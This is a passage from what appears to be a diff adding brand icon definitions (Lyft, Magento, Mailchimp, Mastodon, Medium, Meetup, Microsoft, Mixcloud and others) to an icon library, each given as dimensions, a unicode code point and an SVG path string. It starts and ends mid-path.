22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z" ], + lyft: [ 512, 512, [], "f3c3", "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z" ], + magento: [ 448, 512, [], "f3c4", "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z" ], + mailchimp: [ 448, 512, [], "f59e", "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z" ], + mandalorian: [ 448, 512, [], "f50f", "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z" ], + markdown: [ 640, 512, [], "f60f", "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z" ], + mastodon: [ 448, 512, [], "f4f6", "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z" ], + maxcdn: [ 512, 512, [], "f136", "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z" ], + mdb: [ 576, 512, [], "f8ca", "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z" ], + medapps: [ 320, 512, [], "f3c6", "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z" ], + medium: [ 448, 512, [], "f23a", "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z" ], + "medium-m": [ 512, 512, [], "f3c7", "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z" ], + medrt: [ 544, 512, [], "f3c8", "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z" ], + meetup: [ 512, 512, [], "f2e0", "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z" ], + megaport: [ 496, 512, [], "f5a3", "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z" ], + mendeley: [ 640, 512, [], "f7b3", "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z" ], + microblog: [ 448, 512, [], "e01a", "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z" ], + microsoft: [ 448, 512, [], "f3ca", "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z" ], + mix: [ 448, 512, [], "f3cb", "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z" ], + mixcloud: [ 640, 512, [], "f289", "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 